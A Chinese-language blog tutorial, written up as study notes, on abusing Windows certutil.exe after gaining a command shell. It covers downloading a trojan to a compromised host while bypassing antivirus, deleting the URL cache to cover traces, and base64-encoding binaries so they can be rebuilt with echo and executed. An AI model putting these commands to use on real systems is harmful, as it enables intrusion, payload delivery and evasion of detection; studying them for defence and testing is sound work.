文件上传的一个骚操作学习(Certutil学习)

前言

学习自Hack学习呀,文件上传的一个骚操作(低权限+BypassAV)
当我们碰到有一个cmdshell,想要下载一个木马然后直接上线,但是直接通过powershell,echo webshell,bitsadmin等方式可能会弹框提示
由于certutil还支持二进制文件的下载,可以通过certutil通过编解码的方式将二进制文件上传上去
文章大部分参考Snowming04,3gstudent

Certutil

Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链

常用的命令参数:

  • -f
    覆盖现有文件。
    有值的命令行选项。后面跟要下载的文件 url。

  • -split
    保存到文件。
    无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。

  • -URLCache
    显示或删除URL缓存条目。
    无值的命令行选项。
    (certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)

  • -encode
    将文件编码为Base64

  • -decode
    解码Base64编码的文件

下载功能

(1)保存在当前路径,文件名称同URI
certutil.exe -urlcache -split -f 文件url

(2)保存在默认路径,缓存目录中
certutil.exe -urlcache -f 文件url

修改后缀,或者用编辑器打开就是文件内容
缓存目录位置:
%USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent
(3)保存在指定路径并且指定文件名
certutil.exe -urlcache -split -f 文件url file.txt

(4)保存二进制文件
certutil.exe -urlcache -split -f 二进制文件url
同上

清除痕迹

由于每次下载都有缓存,所以每次下载完可以带delete命令删除缓存
查看所有缓存
certutil.exe -urlcache *
删除相应URL缓存
certutil.exe -urlcache -split -f 文件url delete

base64编码转换

base64编码
certutil.exe -encode InFile OutFile

base64解码
certutil.exe -decode InFile OutFile

编码二进制文件

本地编解码

远程编解码
远程需要用echo 写入txt中
直接复制粘贴写入是不行的,可以去掉标识头尾,然后去除空格,作为连贯的字符,这里用Snowming04师傅的格式转化脚本

with open('hello.txt') as f:
    with open('hello_new.txt','w') as n:
        for i in f.readlines():
            i = str(i.split()).strip("['").strip("']")
            n.write(i)

由于命令提示符下输入的字符有限制,因此不能直接echo写入

可以按照Snowming04师傅的分段方法,所以工具越小越好,可以直接编解码还原成exe或者dll等二进制文件,再执行上线

参考文章:
https://3gstudent.github.io/3gstudent.github.io/渗透测试中的certutil.exe/
https://mp.weixin.qq.com/s/Cnn5X_-LLPIKmOndD80RAA
http://blog.leanote.com/post/snowming/f883d0b49413(读完雪师傅的文章,感觉Certutil在不出网又能命令执行的环境下能发挥较大用处)
延伸文章:
https://www.cnblogs.com/xiaozi/p/12721960.html

原文地址:https://www.cnblogs.com/BOHB-yunying/p/14345535.html